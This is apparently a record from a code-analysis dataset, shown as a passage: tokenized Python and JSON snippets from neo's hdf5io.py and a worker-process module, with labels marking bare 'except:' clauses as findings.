"\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "Child_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "worker", "\\u", "pid_", "=_", "os_", "._", "getpid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "util_", "._", "\\u", "setp", "roc", "title_", "(_", "\"", "worker", " ", "[", "%", "s", "]\"_", "%_", "self_", "._", "proc", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "info_", "(_", "\"", "Boot", "ing", " ", "worker", " ", "with", " ", "pid", ":", " ", "%", "s", "\"_", ",_", "worker", "\\u", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cfg_", "._", "post", "\\u", "fork_", "(_", "self_", ",_", "worker_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker_", "._", "init", "\\u", "process_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "System", "Exit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "App", "Import", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Except", "ion", " ", "whi", "le", " ", "load", "ing", " ", "the", " ", "applica", "tion", ":", " ", "\\\\", "n", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"%", "s", "\"_", "%_", "e_", ",_", "file_", "=_", "sys_", "._", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stderr_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "self_", "._", "APP", "\\u", "LOAD", "\\u", "ERROR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "exception_", "(_", "\"", "Except", "ion", " ", "in", " ", "worker", " ", "process", ":\\\\", "n", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "worker_", "._", "boot", "ed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "self_", "._", "WORKER", "\\u", "BOOT", "\\u", "ERROR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "exit_", "(_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "info_", "(_", "\"", "Worke", "r", " ", "exit", "ing", " ", "(", "pid", ":", " ", "%", "s", ")\"_", ",_", "worker", "\\u", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "worker_", "._", "tmp_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cfg_", "._", "worker", "\\u", "exit_", "(_", "self_", ",_", "worker_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
NeuralEnsemble/python-neo/neo/io/hdf5io.py
[ { "content": " def _get_class_by_node(self, node):\n \"\"\"\n Returns the type of the object (string) depending on node.\n \"\"\"\n try:\n obj_type = node._f_getAttr(\"_type\")\n return class_by_name[obj_type]\n except:\n return None # that's an alien node", "metadata": "root.NeoHdf5IO._get_class_by_node", "header": "['class', 'NeoHdf5IO', '(', 'BaseIO', ')', ':', '___EOS___']", "index": 336 }, { "content": " @_func_wrapper\n def save(self, obj, where=\"/\", cascade=True, lazy=False):\n \"\"\" Saves changes of a given object to the file. Saves object as new at\n location \"where\" if it is not in the file yet. Returns saved node.\n\n cascade: True/False process downstream relationships\n lazy: True/False process any quantity/ndarray attributes \"\"\"\n\n def assign_attribute(obj_attr, attr_name, path, node):\n \"\"\" subfunction to serialize a given attribute \"\"\"\n if isinstance(obj_attr, pq.Quantity) or isinstance(obj_attr, np.ndarray):\n if not lazy:\n # we need to simplify custom quantities\n if isinstance(obj_attr, pq.Quantity):\n for un in obj_attr.dimensionality.keys():\n if not un.name in pq.units.__dict__ or \\\n not isinstance(pq.units.__dict__[un.name], pq.Quantity):\n obj_attr = obj_attr.simplified\n break\n\n # we try to create new array first, so not to loose the\n # data in case of any failure\n if obj_attr.size == 0:\n np_type = obj_attr.dtype if self.array_dtype is None else self.array_dtype\n atom = tb.Atom.from_dtype(np.dtype((np_type, (1, ))))\n new_arr = self._data.createEArray(path, attr_name + \"__temp\", atom, shape=(0,), expectedrows=1)\n else:\n new_arr = self._data.createArray(path, attr_name + \"__temp\", obj_attr)\n\n if hasattr(obj_attr, \"dimensionality\"):\n for un in obj_attr.dimensionality.items():\n new_arr._f_setAttr(\"unit__\" + un[0].name, un[1])\n try:\n self._data.removeNode(path, attr_name)\n except:\n pass # there is no array yet or object is new\n self._data.renameNode(path, attr_name, name=attr_name + \"__temp\")\n elif obj_attr is not None:\n node._f_setAttr(attr_name, obj_attr)\n\n #assert_neo_object_is_compliant(obj)\n obj_type = obj.__class__.__name__\n if self._data.mode != 'w' and hasattr(obj, \"hdf5_path\"): # this is an update case\n path = str(obj.hdf5_path)\n try:\n node = self._data.getNode(obj.hdf5_path)\n except tb.NoSuchNodeError: # create a new node?\n raise LookupError(\"A given object has a path %s attribute, \\\n but such an object does not exist in the file. Please \\\n correct these values or delete this attribute \\\n (.__delattr__('hdf5_path')) to create a new object in \\\n the file.\" % path)\n else: # create new object\n node = self._data.createGroup(where, self._get_next_name(obj_type, where))\n node._f_setAttr(\"_type\", obj_type)\n path = node._v_pathname\n # processing attributes\n # Initialize empty parent paths\n if len(getattr(obj, '_single_parent_containers', [])) > 1:\n for par_cont in obj._single_parent_containers:\n node._f_setAttr(par_cont, '')\n # we checked already obj is compliant, loop over all safely\n for attr in obj._all_attrs:\n if hasattr(obj, attr[0]): # save an attribute if exists\n assign_attribute(getattr(obj, attr[0]), attr[0], path, node)\n # not forget to save AS, ASA or ST - NEO \"stars\"\n if hasattr(obj, '_quantity_attr'):\n assign_attribute(obj, obj._quantity_attr, path, node)\n if hasattr(obj, \"annotations\"): # annotations should be just a dict\n node._f_setAttr(\"annotations\", getattr(obj, \"annotations\"))\n node._f_setAttr(\"object_ref\", uuid.uuid4().hex)\n if cascade:\n # container is like segments, spiketrains, etc.\n for container in getattr(obj, '_child_containers', []):\n try:\n ch = self._data.getNode(node, container)\n except tb.NoSuchNodeError:\n ch = self._data.createGroup(node, container)\n saved = [] # keeps track of saved object names for removal\n for child in getattr(obj, container):\n new_name = None\n child_node = None\n if hasattr(child, \"hdf5_path\"):\n if not child.hdf5_path.startswith(ch._v_pathname):\n # create a Hard Link if object exists already somewhere\n try:\n target = self._data.getNode(child.hdf5_path)\n new_name = self._get_next_name(\n child.__class__.__name__, ch._v_pathname)\n if not hasattr(ch, new_name): # Only link if path does not exist\n child_node = self._data.createHardLink(ch._v_pathname, new_name, target)\n except tb.NoSuchNodeError:\n pass\n if child_node is None:\n child_node = self.save(child, where=ch._v_pathname)\n\n if len(child._single_parent_containers) > 1:\n child_node._f_setAttr(obj_type.lower(), path)\n for par_cont in child._multi_parent_containers:\n parents = []\n if par_cont in child_node._v_attrs:\n parents = child_node._v_attrs[par_cont]\n parents.append(path)\n child_node._f_setAttr(par_cont, parents)\n if not new_name:\n new_name = child.hdf5_path.split('/')[-1]\n saved.append(new_name)\n for child in self._data.iterNodes(ch._v_pathname):\n if child._v_name not in saved: # clean-up\n self._data.removeNode(ch._v_pathname, child._v_name, recursive=True)\n\n self._update_path(obj, node)\n return node", "metadata": "root.NeoHdf5IO.save", "header": "['class', 'NeoHdf5IO', '(', 'BaseIO', ')', ':', '___EOS___']", "index": 382 }, { "content": " @_func_wrapper\n def get_info(self):\n \"\"\"\n Returns a quantitative information about the contents of the file.\n \"\"\"\n logger.info(\"This is a neo.HDF5 file. it contains:\")\n info = {}\n info = info.fromkeys(objectnames, 0)\n for node in self._data.walkNodes():\n try:\n t = node._f_getAttr(\"_type\")\n info[t] += 1\n except:\n # node is not of NEO type\n pass\n return info", "metadata": "root.NeoHdf5IO.get_info", "header": "['class', 'NeoHdf5IO', '(', 'BaseIO', ')', ':', '___EOS___']", "index": 809 } ]
[ { "span": "except:", "start_line": 343, "start_column": 8, "end_line": 343, "end_column": 15 }, { "span": "except:", "start_line": 416, "start_column": 20, "end_line": 416, "end_column": 27 }, { "span": "except:", "start_line": 821, "start_column": 12, "end_line": 821, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Neo", "Hd", "f5", "IO_", "(_", "Base", "IO_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "class", "\\u", "by", "\\u", "node_", "(_", "self_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "type", " ", "of", " ", "the", " ", "object", " ", "(", "string", ")", " ", "depend", "ing", " ", "on", " ", "node", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj", "\\u", "type_", "=_", "node_", "._", "\\u", "f", "\\u", "get", "Attr_", "(_", "\"\\u", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "class", "\\u", "by", "\\u", "name_", "[_", "obj", "\\u", "type_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "#", " ", "tha", "t", "'", "s", " ", "an", " ", "alie", "n", " ", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Neo", "Hd", "f5", "IO_", "(_", "Base", "IO_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "\\u", "func", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "obj_", ",_", "where_", "=_", "\"/\"_", ",_", "cascade_", "=_", "True_", ",_", "lazy_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Save", "s", " ", "change", "s", " ", "of", " ", "a", " ", "give", "n", " ", "object", " ", "to", " ", "the", " ", "file", ".", " ", "Save", "s", " ", "object", " ", "as", " ", "new", " ", "at", "\\", "10", ";", " ", " ", " ", " ", "location", " ", "\"", "where", "\"", " ", "if", " ", "it", " ", "is", " ", "not", " ", "in", " ", "the", " ", "file", " ", "ye", "t", ".", " ", "Return", "s", " ", "saved", " ", "node", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "cascade", ":", " ", "Tru", "e", "/", "Fal", "se", " ", "process", " ", "downstream", " ", "relation", "ships", "\\", "10", ";", " ", " ", " ", " ", "lazy", ":", " ", "Tru", "e", "/", "Fal", "se", " ", "process", " ", "any", " ", "quanti", "ty", "/", "ndar", "ray", " ", "attribute", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "assign", "\\u", "attribute_", "(_", "obj", "\\u", "attr_", ",_", "attr", "\\u", "name_", ",_", "path_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "subf", "uncti", "on", " ", "to", " ", "serialize", " ", "a", " ", "give", "n", " ", "attribute", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "obj", "\\u", "attr_", ",_", "pq_", "._", "Quantity_", ")_", "or_", "isinstance_", "(_", "obj", "\\u", "attr_", ",_", "np_", "._", "ndarray_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "lazy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "need", " ", "to", " ", "simplify", " ", "custom", " ", "quantities", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "isinstance_", "(_", "obj", "\\u", "attr_", ",_", "pq_", "._", "Quantity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "un_", "in_", "obj", "\\u", "attr_", "._", "dimensionality", "_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "not_", "un_", "._", "name_", "in_", "pq_", "._", "units_", "._", "\\u\\u", "dict\\u\\u_", "or_", "not_", "isinstance_", "(_", "pq_", "._", "units_", "._", "\\u\\u", "dict\\u\\u_", "[_", "un_", "._", "name_", "]_", ",_", "pq_", "._", "Quantity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "obj", "\\u", "attr_", "=_", "obj", "\\u", "attr_", "._", "simplified", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "try", " ", "to", " ", "create", " ", "new", " ", "array", " ", "first", ",", " ", "so", " ", "not", " ", "to", " ", "loose", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "in", " ", "case", " ", "of", " ", "any", " ", "failure_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "obj", "\\u", "attr_", "._", "size_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "np", "\\u", "type_", "=_", "obj", "\\u", "attr_", "._", "dtype_", "if_", "self_", "._", "array", "\\u", "dtype_", "is_", "None_", "else_", "self_", "._", "array", "\\u", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "atom_", "=_", "tb_", "._", "Atom_", "._", "from", "\\u", "dtype_", "(_", "np_", "._", "dtype_", "(_", "(_", "np", "\\u", "type_", ",_", "(_", "1_", ",_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "arr_", "=_", "self_", "._", "\\u", "data_", "._", "create", "EA", "rray_", "(_", "path_", ",_", "attr", "\\u", "name_", "+_", "\"\\u\\u", "temp", "\"_", ",_", "atom_", ",_", "shape_", "=_", "(_", "0_", ",_", ")_", ",_", "expected", "rows_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "arr_", "=_", "self_", "._", "\\u", "data_", "._", "create", "Array_", "(_", "path_", ",_", "attr", "\\u", "name_", "+_", "\"\\u\\u", "temp", "\"_", ",_", "obj", "\\u", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "obj", "\\u", "attr_", ",_", "\"", "dimensionality", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "un_", "in_", "obj", "\\u", "attr_", "._", "dimensionality", "_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "arr_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "\"", "unit", "\\u\\u\"_", "+_", "un_", "[_", "0_", "]_", "._", "name_", ",_", "un_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "data_", "._", "remove", "Node_", "(_", "path_", ",_", "attr", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "#", " ", "there", " ", "is", " ", "no", " ", "array", " ", "ye", "t", " ", "or", " ", "object", " ", "is", " ", "new_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "data_", "._", "rename", "Node_", "(_", "path_", ",_", "attr", "\\u", "name_", ",_", "name_", "=_", "attr", "\\u", "name_", "+_", "\"\\u\\u", "temp", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "obj", "\\u", "attr_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "attr", "\\u", "name_", ",_", "obj", "\\u", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "assert", "\\u", "neo", "\\u", "object\\u", "is", "\\u", "compliant", "(", "obj", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "obj", "\\u", "type_", "=_", "obj_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "data_", "._", "mode_", "!=_", "'", "w", "'_", "and_", "hasattr_", "(_", "obj_", ",_", "\"", "hdf5", "\\u", "path", "\"_", ")_", ":_", "#", " ", "this", " ", "is", " ", "an", " ", "update", " ", "case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "str_", "(_", "obj_", "._", "hdf5", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "self_", "._", "\\u", "data_", "._", "get", "Node_", "(_", "obj_", "._", "hdf5", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tb_", "._", "No", "Suc", "h", "Node", "Error_", ":_", "#", " ", "create", " ", "a", " ", "new", " ", "node", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Look", "up", "Error_", "(_", "\"", "A", " ", "give", "n", " ", "object", " ", "has", " ", "a", " ", "path", " ", "%", "s", " ", "attribute", ",", " ", "\\\\", "\\", "10", ";", " ", " ", "but", " ", "suc", "h", " ", "an", " ", "object", " ", "doe", "s", " ", "not", " ", "exist", " ", "in", " ", "the", " ", "file", ".", " ", "Ple", "ase", " ", "\\\\", "\\", "10", ";", " ", " ", "correct", " ", "these", " ", "values", " ", "or", " ", "delete", " ", "this", " ", "attribute", " ", "\\\\", "\\", "10", ";", " ", " ", "(.", "\\u\\u", "delattr", "\\u\\u", "('", "hdf5", "\\u", "path", "'))", " ", "to", " ", "create", " ", "a", " ", "new", " ", "object", " ", "in", " ", "\\\\", "\\", "10", ";", " ", " ", "the", " ", "file", ".\"_", "%_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "create", " ", "new", " ", "object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "self_", "._", "\\u", "data_", "._", "create", "Group_", "(_", "where_", ",_", "self_", "._", "\\u", "get", "\\u", "next", "\\u", "name_", "(_", "obj", "\\u", "type_", ",_", "where_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "\"\\u", "type", "\"_", ",_", "obj", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "node_", "._", "\\u", "v", "\\u", "pathname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "process", "ing", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "empty", " ", "parent", " ", "paths_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "getattr_", "(_", "obj_", ",_", "'\\u", "single", "\\u", "parent", "\\u", "container", "s", "'_", ",_", "[_", "]_", ")_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "par", "\\u", "cont_", "in_", "obj_", "._", "\\u", "single", "\\u", "parent", "\\u", "containers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "par", "\\u", "cont_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "checke", "d", " ", "alr", "ead", "y", " ", "obj", " ", "is", " ", "compliant", ",", " ", "loop", " ", "over", " ", "all", " ", "safe", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "attr_", "in_", "obj_", "._", "\\u", "all", "\\u", "attrs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "obj_", ",_", "attr_", "[_", "0_", "]_", ")_", ":_", "#", " ", "save", " ", "an", " ", "attribute", " ", "if", " ", "exists_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assign", "\\u", "attribute_", "(_", "getattr_", "(_", "obj_", ",_", "attr_", "[_", "0_", "]_", ")_", ",_", "attr_", "[_", "0_", "]_", ",_", "path_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "forget", " ", "to", " ", "save", " ", "AS", ",", " ", "AS", "A", " ", "or", " ", "ST", " ", "-", " ", "NE", "O", " ", "\"", "star", "s", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "obj_", ",_", "'\\u", "quanti", "ty", "\\u", "attr", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assign", "\\u", "attribute_", "(_", "obj_", ",_", "obj_", "._", "\\u", "quanti", "ty", "\\u", "attr_", ",_", "path_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "obj_", ",_", "\"", "annot", "ation", "s", "\"_", ")_", ":_", "#", " ", "annot", "ation", "s", " ", "shou", "ld", " ", "be", " ", "just", " ", "a", " ", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "\"", "annot", "ation", "s", "\"_", ",_", "getattr_", "(_", "obj_", ",_", "\"", "annot", "ation", "s", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "\"", "object\\u", "ref", "\"_", ",_", "uuid_", "._", "uuid4_", "(_", ")_", "._", "hex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cascade_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "container", " ", "is", " ", "like", " ", "segments", ",", " ", "spike", "trains", ",", " ", "etc", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "container_", "in_", "getattr_", "(_", "obj_", ",_", "'\\u", "child", "\\u", "container", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ch_", "=_", "self_", "._", "\\u", "data_", "._", "get", "Node_", "(_", "node_", ",_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tb_", "._", "No", "Suc", "h", "Node", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ch_", "=_", "self_", "._", "\\u", "data_", "._", "create", "Group_", "(_", "node_", ",_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "saved_", "=_", "[_", "]_", "#", " ", "keep", "s", " ", "track", " ", "of", " ", "saved", " ", "object", " ", "names", " ", "for", " ", "removal", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "child_", "in_", "getattr_", "(_", "obj_", ",_", "container_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "new", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "child", "\\u", "node_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "child_", 